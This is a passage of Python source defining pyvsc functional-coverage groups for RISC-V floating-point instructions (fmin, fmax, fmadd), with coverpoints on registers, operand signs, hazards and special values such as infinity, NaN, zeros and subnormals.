self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmin_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmax_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmax_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmadd_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs3 = vsc.coverpoint(lambda: self.instr.fs3, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs3_sign = vsc.coverpoint(lambda: self.instr.fs3_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fs3_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs3_value = vsc.coverpoint(lambda: self.instr.fs3_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs3_value = vsc.coverpoint( lambda: self.instr.fs3_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmadd_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: 